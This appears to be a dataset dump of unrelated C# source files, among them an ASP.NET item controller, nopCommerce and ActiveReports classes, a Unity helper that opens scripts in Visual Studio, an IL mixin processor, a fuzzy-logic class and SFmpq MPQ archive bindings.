text stringlengths 13 6.01M |
|---|
using System;
using System.Windows;
using System.Windows.Media.Animation;
public class design
{
public design()
{
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using ReactEmpeek.Models;
using Remotion.Linq.Clauses;
namespace ReactEmpeek.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class ItemController : ControllerBase
{
private readonly ItemContext itemContext = new ItemContext();
[HttpGet("[action]")]
public ItemViewModel GetItems([FromQuery]int page = 1)
{
int pageSize = 4; // количество объектов на страницу
IEnumerable<Item> itemsPerPages = itemContext.Items.Skip((page - 1) * pageSize).Take(pageSize);
PageInfo pageInfo = new PageInfo { PageNumber = page, PageSize = pageSize, TotalItems = itemContext.Items.Count() };
ItemViewModel ivm = new ItemViewModel() { PageInfo = pageInfo, Items = itemsPerPages };
return ivm;
}
[HttpGet("[action]")]
public ItemStatisticViewModel GetItemStatistic([FromQuery]int page = 1)
{
var groupedItems = (from items in itemContext.Items
group items by items.Type
into groupedItem
select new ItemStatistic {Type = groupedItem.Key, Count = groupedItem.Count()}).AsEnumerable();
int pageSize = 3;
IEnumerable<ItemStatistic> itemsPerPages = groupedItems.Skip((page - 1) * pageSize).Take(pageSize);
PageInfo pageInfo = new PageInfo { PageNumber = page, PageSize = pageSize, TotalItems = itemContext.Items.Count() };
ItemStatisticViewModel ivm = new ItemStatisticViewModel() {ItemStatistic = itemsPerPages, PageInfo = pageInfo};
return ivm;
}
[HttpDelete("[action]")]
public async Task DeleteItem([FromBody]Id id)
{
var item = await itemContext.Set<Item>().FindAsync(id.ID);
itemContext.Items.Remove(item);
itemContext.SaveChanges();
}
[HttpPost("[action]")]
public void AddPoint([FromBody]AddItemCommand request)
{
itemContext.Set<Item>().Add(new Item(request.Name,request.Type));
itemContext.SaveChanges();
}
[HttpPut("[action]")]
public void UpdateItem([FromBody]Item item)
{
itemContext.Items.Update(item);
itemContext.SaveChanges();
}
}
} |
using System;
using System.Collections.Generic;
using System.Text;
using ServiceDesk.Core.Interfaces.Common;
namespace ServiceDesk.Core.Entities.RequestSystem
{
public class Comment : IEntity
{
public int Id { get; set; }
public string Text { get; set; }
public string AuthorId { get; set; }
public DateTime CreationDate { get; set; }
public Guid RequestId { get; set; }
public virtual Request Request { get; set; }
}
}
|
using System;
namespace MODEL.ORDER
{
/// <summary>
/// 实体类 OrderApplyModel
/// 编写者:
/// 日期:2015/2/7 星期六 1:25:15
/// </summary>
public class OrderApplyModel
{
private int orderid = 0;
private string orderno = string.Empty;
private int _custid = 0;
private string custname = string.Empty;
private DateTime submittime = DateTime.MinValue;
private string servicetype = string.Empty;
private string contactman = string.Empty;
private string contactphone = string.Empty;
private string reservephone = string.Empty;
private string county = string.Empty;
private string address = string.Empty;
private string desc = string.Empty;
private string title = string.Empty;
private int createuserid = -1;
private string createusername = string.Empty;
/// <summary>
/// OrderId
/// </summary>
public int OrderId
{
set { orderid = value; }
get { return orderid; }
}
/// <summary>
/// OrderNo
/// </summary>
public string OrderNo
{
set { orderno = value; }
get { return orderno; }
}
/// <summary>
/// CustId
/// </summary>
public int CustId
{
set { _custid = value; }
get { return _custid; }
}
/// <summary>
/// CustName
/// </summary>
public string CustName
{
set { custname = value; }
get { return custname; }
}
/// <summary>
/// SubmitTime
/// </summary>
public DateTime SubmitTime
{
set { submittime = value; }
get { return submittime; }
}
/// <summary>
/// ServiceType
/// </summary>
public string ServiceType
{
set { servicetype = value; }
get { return servicetype; }
}
/// <summary>
/// ContactMan
/// </summary>
public string ContactMan
{
set { contactman = value; }
get { return contactman; }
}
/// <summary>
/// ContactPhone
/// </summary>
public string ContactPhone
{
set { contactphone = value; }
get { return contactphone; }
}
/// <summary>
/// ReservePhone
/// </summary>
public string ReservePhone
{
set { reservephone = value; }
get { return reservephone; }
}
/// <summary>
/// County
/// </summary>
public string County
{
set { county = value; }
get { return county; }
}
/// <summary>
/// Address
/// </summary>
public string Address
{
set { address = value; }
get { return address; }
}
/// <summary>
/// QusDesc
/// </summary>
public string QusDesc
{
set { desc = value; }
get { return desc; }
}
/// <summary>
/// Title
/// </summary>
public string Title
{
get { return title; }
set { title = value; }
}
/// <summary>
/// CreateUserId
/// </summary>
public int CreateUserId
{
set { createuserid = value; }
get { return createuserid; }
}
/// <summary>
/// CreateUserName
/// </summary>
public string CreateUserName
{
set { createusername = value; }
get { return createusername; }
}
}
}
|
//------------------------------------------------------------------------------
// The contents of this file are subject to the nopCommerce Public License Version 1.0 ("License"); you may not use this file except in compliance with the License.
// You may obtain a copy of the License at http://www.nopCommerce.com/License.aspx.
//
// Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied.
// See the License for the specific language governing rights and limitations under the License.
//
// The Original Code is nopCommerce.
// The Initial Developer of the Original Code is NopSolutions.
// All Rights Reserved.
//
// Contributor(s): _______.
//------------------------------------------------------------------------------
using System;
using System.Collections;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using NopSolutions.NopCommerce.BusinessLogic;
using NopSolutions.NopCommerce.BusinessLogic.CustomerManagement;
using NopSolutions.NopCommerce.BusinessLogic.Promo.Discounts;
using NopSolutions.NopCommerce.Common.Utils;
using NopSolutions.NopCommerce.Common;
namespace NopSolutions.NopCommerce.Web.Administration.Modules
{
public partial class DiscountInfoControl : BaseNopAdministrationUserControl
{
private void FillDropDowns()
{
this.ddlDiscountType.Items.Clear();
DiscountTypeCollection discountTypes = DiscountManager.GetAllDiscountTypes();
foreach (DiscountType discountType in discountTypes)
{
ListItem item2 = new ListItem(discountType.Name, discountType.DiscountTypeID.ToString());
this.ddlDiscountType.Items.Add(item2);
}
this.ddlDiscountRequirement.Items.Clear();
DiscountRequirementCollection discountRequirements = DiscountManager.GetAllDiscountRequirements();
foreach (DiscountRequirement discountRequirement in discountRequirements)
{
ListItem item2 = new ListItem(discountRequirement.Name, discountRequirement.DiscountRequirementID.ToString());
this.ddlDiscountRequirement.Items.Add(item2);
}
}
private void BindData()
{
Discount discount = DiscountManager.GetDiscountByID(this.DiscountID);
if (discount != null)
{
CommonHelper.SelectListItem(this.ddlDiscountType, discount.DiscountTypeID);
CommonHelper.SelectListItem(this.ddlDiscountRequirement, discount.DiscountRequirementID);
this.txtName.Text = discount.Name;
this.cbUsePercentage.Checked = discount.UsePercentage;
this.txtDiscountPercentage.Value = discount.DiscountPercentage;
this.txtDiscountAmount.Value = discount.DiscountAmount;
this.cStartDateButtonExtender.SelectedDate = discount.StartDate;
this.cEndDateButtonExtender.SelectedDate = discount.EndDate;
this.cbRequiresCouponCode.Checked = discount.RequiresCouponCode;
this.txtCouponCode.Text = discount.CouponCode;
CustomerRoleCollection customerRoles = discount.CustomerRoles;
List<int> _customerRoleIDs = new List<int>();
foreach (CustomerRole customerRole in customerRoles)
_customerRoleIDs.Add(customerRole.CustomerRoleID);
CustomerRoleMappingControl.SelectedCustomerRoleIDs = _customerRoleIDs;
CustomerRoleMappingControl.BindData();
}
else
{
List<int> _customerRoleIDs = new List<int>();
CustomerRoleMappingControl.SelectedCustomerRoleIDs = _customerRoleIDs;
CustomerRoleMappingControl.BindData();
}
}
private void TogglePanels()
{
pnlDiscountPercentage.Visible = cbUsePercentage.Checked;
pnlDiscountAmount.Visible = !cbUsePercentage.Checked;
pnlCouponCode.Visible = cbRequiresCouponCode.Checked;
DiscountRequirementEnum discountRequirement = (DiscountRequirementEnum)int.Parse(this.ddlDiscountRequirement.SelectedItem.Value);
pnlCustomerRoles.Visible = discountRequirement == DiscountRequirementEnum.MustBeAssignedToCustomerRole;
}
private void SetDefaultValues()
{
txtStartDate.Text = DateTime.UtcNow.AddDays(-2).ToString(cStartDateButtonExtender.Format);
txtEndDate.Text = DateTime.UtcNow.AddYears(1).ToString(cEndDateButtonExtender.Format);
}
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
this.FillDropDowns();
this.SetDefaultValues();
this.BindData();
this.TogglePanels();
}
}
public Discount SaveInfo()
{
DateTime discountStartDate = DateTime.MinValue;
DateTime discountEndDate = DateTime.MinValue;
if (!DateTime.TryParse(txtStartDate.Text, out discountStartDate))
throw new NopException("Start date is not set");
if (!DateTime.TryParse(txtEndDate.Text, out discountEndDate))
throw new NopException("End date is not set");
discountStartDate = DateTime.SpecifyKind(discountStartDate, DateTimeKind.Utc);
discountEndDate = DateTime.SpecifyKind(discountEndDate, DateTimeKind.Utc);
Discount discount = DiscountManager.GetDiscountByID(this.DiscountID);
if (discount != null)
{
discount = DiscountManager.UpdateDiscount(discount.DiscountID,
(DiscountTypeEnum)int.Parse(this.ddlDiscountType.SelectedItem.Value),
(DiscountRequirementEnum)int.Parse(this.ddlDiscountRequirement.SelectedItem.Value),
txtName.Text,
cbUsePercentage.Checked,
txtDiscountPercentage.Value,
txtDiscountAmount.Value,
discountStartDate,
discountEndDate,
cbRequiresCouponCode.Checked,
txtCouponCode.Text.Trim(),
discount.Deleted);
foreach (CustomerRole customerRole in discount.CustomerRoles)
CustomerManager.RemoveDiscountFromCustomerRole(customerRole.CustomerRoleID, discount.DiscountID);
foreach (int customerRoleID in CustomerRoleMappingControl.SelectedCustomerRoleIDs)
CustomerManager.AddDiscountToCustomerRole(customerRoleID, discount.DiscountID);
}
else
{
discount = DiscountManager.InsertDiscount((DiscountTypeEnum)int.Parse(this.ddlDiscountType.SelectedItem.Value),
(DiscountRequirementEnum)int.Parse(this.ddlDiscountRequirement.SelectedItem.Value),
txtName.Text,
cbUsePercentage.Checked,
txtDiscountPercentage.Value,
txtDiscountAmount.Value,
discountStartDate,
discountEndDate,
cbRequiresCouponCode.Checked,
txtCouponCode.Text.Trim(),
false);
foreach (int customerRoleID in CustomerRoleMappingControl.SelectedCustomerRoleIDs)
CustomerManager.AddDiscountToCustomerRole(customerRoleID, discount.DiscountID);
}
return discount;
}
protected void ddlDiscountRequirement_SelectedIndexChanged(object sender, EventArgs e)
{
TogglePanels();
}
protected void cbRequiresCouponCode_CheckedChanged(object sender, EventArgs e)
{
TogglePanels();
}
protected void cbUsePercentage_CheckedChanged(object sender, EventArgs e)
{
TogglePanels();
}
public int DiscountID
{
get
{
return CommonHelper.QueryStringInt("DiscountID");
}
}
}
} |
using System;
using DataDynamics.ActiveReports;
using DataDynamics.ActiveReports.Document;
using System.Data.SqlClient;
using lianda.Component;
using System.Data;
namespace lianda.LD40
{
public class LD404020AR : ActiveReport
{
public LD404020AR(DateTime DateF,DateTime DateT)
{
InitializeReport();
RQF.Text=DateF.ToString("yyyy-MM-dd");
RQT.Text=DateT.ToString("yyyy-MM-dd");
}
private void PageHeader_Format(object sender, System.EventArgs eArgs)
{
}
private void Detail_Format(object sender, System.EventArgs eArgs)
{
}
#region ActiveReports Designer generated code
private ReportHeader ReportHeader = null;
private PageHeader PageHeader = null;
private Label name = null;
private Label Label1 = null;
private Label Label4 = null;
private TextBox RQF = null;
private TextBox RQT = null;
private Label Label5 = null;
private Label Label6 = null;
private Label Label7 = null;
private Label Label8 = null;
private Line Line1 = null;
private Line Line2 = null;
private Line Line3 = null;
private Line Line4 = null;
private Line Line5 = null;
private Line Line6 = null;
private Line Line7 = null;
private Label Label9 = null;
private Line Line14 = null;
private Label Label10 = null;
private Label Label11 = null;
private Detail Detail = null;
private TextBox TextBox1 = null;
private TextBox TextBox2 = null;
private TextBox TextBox3 = null;
private TextBox TextBox4 = null;
private Line Line8 = null;
private TextBox TextBox5 = null;
private Line Line15 = null;
private Line Line16 = null;
private Line Line17 = null;
private Line Line18 = null;
private Line Line19 = null;
private Line Line20 = null;
private PageFooter PageFooter = null;
private ReportFooter ReportFooter = null;
private TextBox TextBox6 = null;
private Label Label12 = null;
private TextBox TextBox7 = null;
private Label Label13 = null;
public void InitializeReport()
{
this.LoadLayout(this.GetType(), "lianda.LD40.LD404020AR.rpx");
this.ReportHeader = ((DataDynamics.ActiveReports.ReportHeader)(this.Sections["ReportHeader"]));
this.PageHeader = ((DataDynamics.ActiveReports.PageHeader)(this.Sections["PageHeader"]));
this.Detail = ((DataDynamics.ActiveReports.Detail)(this.Sections["Detail"]));
this.PageFooter = ((DataDynamics.ActiveReports.PageFooter)(this.Sections["PageFooter"]));
this.ReportFooter = ((DataDynamics.ActiveReports.ReportFooter)(this.Sections["ReportFooter"]));
this.name = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[0]));
this.Label1 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[1]));
this.Label4 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[2]));
this.RQF = ((DataDynamics.ActiveReports.TextBox)(this.PageHeader.Controls[3]));
this.RQT = ((DataDynamics.ActiveReports.TextBox)(this.PageHeader.Controls[4]));
this.Label5 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[5]));
this.Label6 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[6]));
this.Label7 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[7]));
this.Label8 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[8]));
this.Line1 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[9]));
this.Line2 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[10]));
this.Line3 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[11]));
this.Line4 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[12]));
this.Line5 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[13]));
this.Line6 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[14]));
this.Line7 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[15]));
this.Label9 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[16]));
this.Line14 = ((DataDynamics.ActiveReports.Line)(this.PageHeader.Controls[17]));
this.Label10 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[18]));
this.Label11 = ((DataDynamics.ActiveReports.Label)(this.PageHeader.Controls[19]));
this.TextBox1 = ((DataDynamics.ActiveReports.TextBox)(this.Detail.Controls[0]));
this.TextBox2 = ((DataDynamics.ActiveReports.TextBox)(this.Detail.Controls[1]));
this.TextBox3 = ((DataDynamics.ActiveReports.TextBox)(this.Detail.Controls[2]));
this.TextBox4 = ((DataDynamics.ActiveReports.TextBox)(this.Detail.Controls[3]));
this.Line8 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[4]));
this.TextBox5 = ((DataDynamics.ActiveReports.TextBox)(this.Detail.Controls[5]));
this.Line15 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[6]));
this.Line16 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[7]));
this.Line17 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[8]));
this.Line18 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[9]));
this.Line19 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[10]));
this.Line20 = ((DataDynamics.ActiveReports.Line)(this.Detail.Controls[11]));
this.TextBox6 = ((DataDynamics.ActiveReports.TextBox)(this.ReportFooter.Controls[0]));
this.Label12 = ((DataDynamics.ActiveReports.Label)(this.ReportFooter.Controls[1]));
this.TextBox7 = ((DataDynamics.ActiveReports.TextBox)(this.ReportFooter.Controls[2]));
this.Label13 = ((DataDynamics.ActiveReports.Label)(this.ReportFooter.Controls[3]));
// Attach Report Events
this.PageHeader.Format += new System.EventHandler(this.PageHeader_Format);
this.Detail.Format += new System.EventHandler(this.Detail_Format);
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Threading;
using UnityEditor;
using UnityEditorInternal;
#if UNITY_2017_1_OR_NEWER
using UnityEditor.PackageManager;
#endif
namespace ConsoleTiny
{
public class ScriptAssetOpener
{
private Assembly m_Assembly;
private Type m_ScriptOpenerType;
private MethodInfo m_WaitForPongFromVisualStudioMi;
private MethodInfo m_TryOpenFileMi;
private MethodInfo m_VisualStudioProcessesMi;
private FieldInfo m_VsProcessFi;
private MethodInfo m_GetWindowText;
private MethodInfo m_VisualStudioExecutable;
//private MethodInfo m_AllowSetForegroundWindow;
private object m_ScriptOpener;
private string m_SolutionFile;
public bool initialized { get { return m_Assembly != null; } }
public bool alreadyInitialized { get; private set; }
public void Init(Assembly assembly)
{
alreadyInitialized = true;
if (assembly == null)
{
return;
}
m_Assembly = assembly;
if (m_Assembly == null)
{
return;
}
m_ScriptOpenerType = m_Assembly.GetType("SyntaxTree.VisualStudio.Unity.Bridge.ScriptOpener");
if (m_ScriptOpenerType == null)
{
return;
}
m_WaitForPongFromVisualStudioMi = m_ScriptOpenerType.GetMethod("WaitForPongFromVisualStudio", BindingFlags.Public | BindingFlags.Instance);
m_TryOpenFileMi = m_ScriptOpenerType.GetMethod("TryOpenFile", BindingFlags.Public | BindingFlags.Instance);
m_VisualStudioProcessesMi = m_ScriptOpenerType.GetMethod("VisualStudioProcesses", BindingFlags.NonPublic | BindingFlags.Static);
m_VsProcessFi = m_ScriptOpenerType.GetField("_vsProcess", BindingFlags.NonPublic | BindingFlags.Instance);
Type win32Type = m_Assembly.GetType("SyntaxTree.VisualStudio.Unity.Bridge.Win32");
m_GetWindowText = win32Type.GetMethod("GetWindowText", BindingFlags.Public | BindingFlags.Static, null,
new Type[] { typeof(int) }, null);
//m_AllowSetForegroundWindow = win32Type.GetMethod("AllowSetForegroundWindow", BindingFlags.Public | BindingFlags.Static);
Type productInfoType = m_Assembly.GetType("SyntaxTree.VisualStudio.Unity.ProductInfo");
m_VisualStudioExecutable = productInfoType.GetMethod("VisualStudioExecutable", BindingFlags.Public | BindingFlags.Static);
}
private bool TryAcquireVisualStudioProcess()
{
IEnumerable<Process> processes = (IEnumerable<Process>)m_VisualStudioProcessesMi.Invoke(null, null);
Process process = processes.FirstOrDefault(IsTargetVisualStudio);
m_VsProcessFi.SetValue(m_ScriptOpener, process);
return process != null;
}
private bool IsTargetVisualStudio(Process process)
{
string title = (string)m_GetWindowText.Invoke(null, new object[] { process.Id });
if (!string.IsNullOrEmpty(title) && title.StartsWith(Path.GetFileNameWithoutExtension(SolutionFile()), StringComparison.OrdinalIgnoreCase))
return true;
return false;
}
private void StartVisualStudioProcess()
{
string path = (string)m_VisualStudioExecutable.Invoke(null, null);
if (string.IsNullOrEmpty(path))
{
return;
}
string arguments = QuotePathIfNeeded(SolutionFile());
Process process = Process.Start(new ProcessStartInfo
{
WorkingDirectory = Path.GetFullPath(Path.GetDirectoryName(SolutionFile())),
UseShellExecute = true,
CreateNoWindow = true,
Arguments = arguments,
FileName = Path.GetFullPath(path)
});
m_VsProcessFi.SetValue(m_ScriptOpener, process);
}
/// <summary>
/// sln完整路径
/// </summary>
/// <returns></returns>
private string SolutionFile()
{
return m_SolutionFile;
}
private static string QuotePathIfNeeded(string path)
{
if (!path.Contains(" "))
{
return path;
}
return "\"" + path + "\"";
}
public void OpenEditor(string projectPath, string file, int line)
{
m_SolutionFile = projectPath;
if (m_ScriptOpenerType != null)
{
ThreadPool.QueueUserWorkItem(_ =>
{
OpenEditorInter(projectPath, file, line);
});
}
else
{
#if UNITY_2017_1_OR_NEWER
string vsPath = ScriptEditorUtility.GetExternalScriptEditor();
#else
string vsPath = InternalEditorUtility.GetExternalScriptEditor();
#endif
if (string.IsNullOrEmpty(vsPath) || !File.Exists(vsPath))
{
return;
}
string exePath = String.Empty;
#if UNITY_2018_1_OR_NEWER
var packageInfos = Packages.GetAll();
foreach (var packageInfo in packageInfos)
{
if (packageInfo.name == "com.wuhuan.consoletiny")
{
exePath = packageInfo.resolvedPath;
break;
}
}
#elif UNITY_2017_1_OR_NEWER
// TODO
exePath = "../../PackagesCustom/com.wuhuan.consoletiny";
#endif
if (!string.IsNullOrEmpty(exePath))
{
exePath = exePath + "\\Editor\\VisualStudioFileOpenTool.exe";
ThreadPool.QueueUserWorkItem(_ =>
{
OpenEditorInter2(exePath, vsPath, projectPath, file, line);
});
}
}
}
private void OpenEditorInter(string projectPath, string file, int line)
{
m_ScriptOpener = Activator.CreateInstance(m_ScriptOpenerType, projectPath, file, line - 1);
try
{
if (!TryAcquireVisualStudioProcess())
{
StartVisualStudioProcess();
}
if ((bool)m_WaitForPongFromVisualStudioMi.Invoke(m_ScriptOpener, null))
{
m_TryOpenFileMi.Invoke(m_ScriptOpener, null);
}
}
finally
{
if (m_ScriptOpener != null)
{
((IDisposable)m_ScriptOpener).Dispose();
}
m_ScriptOpener = null;
}
}
private void OpenEditorInter2(string exePath, string vsPath, string projectPath, string file, int line)
{
if (!File.Exists(exePath))
{
return;
}
Process.Start(new ProcessStartInfo
{
FileName = exePath,
Arguments = String.Format("{0} {1} {2} {3}",
QuotePathIfNeeded(vsPath), QuotePathIfNeeded(projectPath), QuotePathIfNeeded(file), line),
UseShellExecute = false,
CreateNoWindow = true
});
}
private static ScriptAssetOpener sao;
private static void LoadScriptAssetOpener()
{
if (sao == null)
{
sao = new ScriptAssetOpener();
}
if (sao.initialized || sao.alreadyInitialized)
{
return;
}
sao.Init(null);
foreach (Assembly a in AppDomain.CurrentDomain.GetAssemblies())
{
if (a.FullName.StartsWith("SyntaxTree.VisualStudio.Unity.Bridge"))
{
sao.Init(a);
break;
}
}
}
public static bool OpenAsset(string file, int line)
{
if (string.IsNullOrEmpty(file) || file == "None")
{
return false;
}
if (file.StartsWith("Assets/"))
{
var obj = AssetDatabase.LoadAssetAtPath<UnityEngine.Object>(file);
if (obj)
{
AssetDatabase.OpenAsset(obj, line);
}
return false;
}
string fileFullPath = Path.GetFullPath(file.Replace('/', '\\'));
#if UNITY_2018_1_OR_NEWER
var packageInfos = Packages.GetAll();
foreach (var packageInfo in packageInfos)
{
if (fileFullPath.StartsWith(packageInfo.resolvedPath, StringComparison.Ordinal))
{
InternalEditorUtility.OpenFileAtLineExternal(fileFullPath, line);
return true;
}
}
#elif UNITY_2017_1_OR_NEWER
// TODO
#endif
LoadScriptAssetOpener();
if (!sao.initialized)
{
return false;
}
string dirPath = fileFullPath;
do
{
dirPath = Path.GetDirectoryName(dirPath);
if (!string.IsNullOrEmpty(dirPath) && Directory.Exists(dirPath))
{
var files = Directory.GetFiles(dirPath, "*.sln", SearchOption.TopDirectoryOnly);
if (files.Length > 0)
{
sao.OpenEditor(files[0], fileFullPath, line);
return true;
}
}
else
{
break;
}
} while (true);
return false;
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace DoubleEndedQueue
{
public interface IDeque<T>
{
T PeekHead();
T PeekTail();
void EnqueueHead(T value);
void EnqueueTail(T value);
T DequeueHead();
T DequeueTail();
bool IsEmpty { get; }
}
}
|
using System.Collections.Generic;
using System.Linq;
using dnlib.DotNet.Emit;
using SharpILMixins.Annotations.Inject;
using SharpILMixins.Processor.Utils;
namespace SharpILMixins.Processor.Workspace.Processor.Actions.Impl.Inject
{
public abstract class BaseInjectionProcessor
{
public abstract AtLocation Location { get; }
protected IEnumerable<Instruction> GetInstructionsWithOpCode(IList<Instruction> instructions, OpCode opCode)
{
return instructions
.SelectMany(ResolveInstructions)
.Where(i => i.code == opCode)
.Select(c => c.instruction);
}
private IEnumerable<(Instruction instruction, OpCode code)> ResolveInstructions(Instruction arg)
{
yield return (arg, arg.OpCode);
if (arg.Operand is Instruction instruction) yield return (arg, instruction.OpCode);
}
public virtual IEnumerable<Instruction>
GetInstructionsForAction(MixinAction action, InjectAttribute attribute, InjectionPoint location,
Instruction? nextInstruction)
{
return IntermediateLanguageHelper.InvokeMethod(action, nextInstruction);
}
public abstract IEnumerable<InjectionPoint> FindInjectionPoints(MixinAction action, InjectAttribute attribute);
}
} |
namespace FuzzyLogic.Model
{
class WorkHour : AbsCollection<ChartItem1Value>
{
public WorkHour(int beginWork, int endWork)
{
CreateData(beginWork, endWork);
}
//generowanie 1 lub 0 dla godzin od do
//if na wypadek gdyby było od wieczora do rana
public void CreateData(int begin, int end)
{
if (begin < end)
{
for (int i = 0; i < 24; i++)
{
ChartItem1Value result1Degree = new ChartItem1Value();
result1Degree.X = i;
result1Degree.Y = RozmywanieTrapez(i, begin, end-1, 0.1);
result1Degree.Text = "Hour=" + result1Degree.X + " IsWorking=" + result1Degree.Y;
base.Add(result1Degree);
}
}
else
{
for (int i = 0; i < 24; i++)
{
ChartItem1Value result1Degree = new ChartItem1Value();
result1Degree.X = i;
double a= RozmywanieTrapez(i, begin-1, 24, 0.0);
double b= RozmywanieTrapez(i, 0, end-1, 0.0);
result1Degree.Y = (a == 1) ? a : b;
result1Degree.Text = "Hour=" + result1Degree.X + " IsWorking=" + result1Degree.Y;
base.Add(result1Degree);
}
}
}
protected double RozmywanieTrapez(double x, double left, double right, double range)
{
double poczatek = left - range;
double koniec = right + range;
double maxLewy = left;
double maxPrawy = right;
if ((x >= poczatek) & (x <= maxLewy) & (maxLewy > 0))
return (x - poczatek) / (maxLewy - poczatek);
else if ((x >= maxLewy) & (x <= maxPrawy))
return 1;
else if ((x >= maxPrawy) & (x <= koniec))
return (koniec - x) / (koniec - maxPrawy);
else return 0;
}
}
}
|
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using OCP;
using OCP.AppFramework.Http;
using OCP.Http.Client;
namespace OCP.AppFramework
{
/**
* Base class to inherit your controllers from
* @since 6.0.0
*/
public abstract class Controller
{
/**
* app name
* @var string
* @since 7.0.0
*/
protected string appName;
/**
* current request
* @var .OCP.IRequest
* @since 6.0.0
*/
protected OCP.IRequest request;
/**
* @var array
* @since 7.0.0
*/
private IDictionary<string, Func<Response, Response>> responders;
/**
* constructor of the controller
* @param string appName the name of the app
* @param IRequest request an instance of the request
* @since 6.0.0 - parameter appName was added in 7.0.0 - parameter app was removed in 7.0.0
*/
public Controller(string appName,
IRequest request)
{
this.appName = appName;
this.request = request;
// default responders
this.responders.Add("json", data =>
{
if (data is DataResponse)
{
var response = new JSONResponse(((DataResponse) data).getData(),
((DataResponse) data).getStatus());
var dataHeaders = data.getHeaders();
var headers = response.getHeaders();
if (dataHeaders.ContainsKey("Content-Type"))
{
headers.Remove("Content-Type");
}
response.setHeaders(dataHeaders.Concat(headers).ToDictionary(o => o.Key, p => p.Value));
return response;
}
return new JSONResponse(data);
});
}
/**
* Parses an HTTP accept header and returns the supported responder type
* @param string acceptHeader
* @param string default
* @return string the responder type
* @since 7.0.0
* @since 9.1.0 Added default parameter
*/
public string getResponderByHTTPHeader(string acceptHeader, string @default = "json")
{
var headers = acceptHeader.Split(',');
// return the first matching responder
foreach (var header in headers)
{
var headerLower = header.Trim().ToLower();
var responder = headerLower.Replace("application/", "");
if (this.responders.ContainsKey(responder))
{
return responder;
}
}
// no matching header return default
return @default;
}
/**
* Registers a formatter for a type
* @param string format
* @param .Closure responder
* @since 7.0.0
*/
protected void registerResponder(string format, Func<Response, Response> responder)
{
this.responders[format] = responder;
}
/**
* Serializes and formats a response
* @param mixed response the value that was returned from a controller and
* is not a Response instance
* @param string format the format for which a formatter has been registered
* @throws .DomainException if format does not match a registered formatter
* @return Response
* @since 7.0.0
*/
public Response buildResponse(Response response, string format = "json")
{
if (responders.ContainsKey(format))
{
var responder = this.responders[format];
return responder(response);
}
throw new Exception("No responder registered for format " +
format + "!");
}
}
} |
using System.Runtime.InteropServices;
using System;
using System.Collections.Generic;
using System.IO;
namespace Wc3Engine
{
public class ShadowFlare
{
[DllImport("SFmpq.dll", EntryPoint = "SFMpqGetVersionString")]
public static extern string DLLVersion();
[DllImport("SFmpq.dll", EntryPoint = "SFileOpenArchive")]
public static extern bool ArchiveOpen(string fileName, int mPQID, int p3, ref int hMPQ);
[DllImport("SFmpq.dll", EntryPoint = "SFileCloseArchive")]
public static extern bool ArchiveClose(int hMPQ);
[DllImport("SFmpq.dll", EntryPoint = "MpqOpenArchiveForUpdate")]
public static extern int OpenArchiveForUpdate(string lpFileName, int flags, int maximumFilesInArchive);
[DllImport("SFmpq.dll", EntryPoint = "MpqAddFileToArchive")]
public static extern bool AddFile(int hMPQ, string lpSourceFileName, string lpDestFileName, int flags);
//[DllImport("SFmpq.dll", EntryPoint = "SFileListFiles")]
//public static extern bool ListFiles(int hMPQ, string fileLists, ref string entry, int flags);
[DllImport("SFmpq.dll", EntryPoint = "SFileOpenFile")]
public static extern bool OpenFile(string fileName, ref int hFile);
[DllImport("SFmpq.dll", EntryPoint = "SFileCloseFile")]
public static extern bool CloseFile(int hFile);
[DllImport("SFmpq.dll", EntryPoint = "SFileReadFile")]
public static extern bool ReadFile(int hFile, byte[] buffer, uint numberOfBytesToRead, ref uint numberOfBytesRead, int overlapped);
[DllImport("SFmpq.dll", EntryPoint = "SFileGetFileSize")]
public static extern uint FileSize(int hFile, ref uint highPartOfFileSize);
}
public class MPQ
{
public class ArchiveFlag
{
internal const uint MAFA_EXISTS = 0x80000000; //This flag will be added if not present
internal const int MAFA_UNKNOWN40000000 = 0x40000000; //Unknown flag
internal const int MAFA_SINGLEBLOCK = 0x01000000; //File is stored as a single unit rather than being split by the block size
internal const int MAFA_MODCRYPTKEY = 0x00020000; //Used with MAFA_ENCRYPT. Uses an encryption key based on file position and size
internal const int MAFA_ENCRYPT = 0x00010000; //Encrypts the file. The file is still accessible when using this, so the use of this has depreciated
internal const int MAFA_COMPRESS = 0x00000200; //File is to be compressed when added. This is used for most of the compression methods
internal const int MAFA_COMPRESS2 = 0x00000100; //File is compressed with standard compression only (was used in Diablo 1)
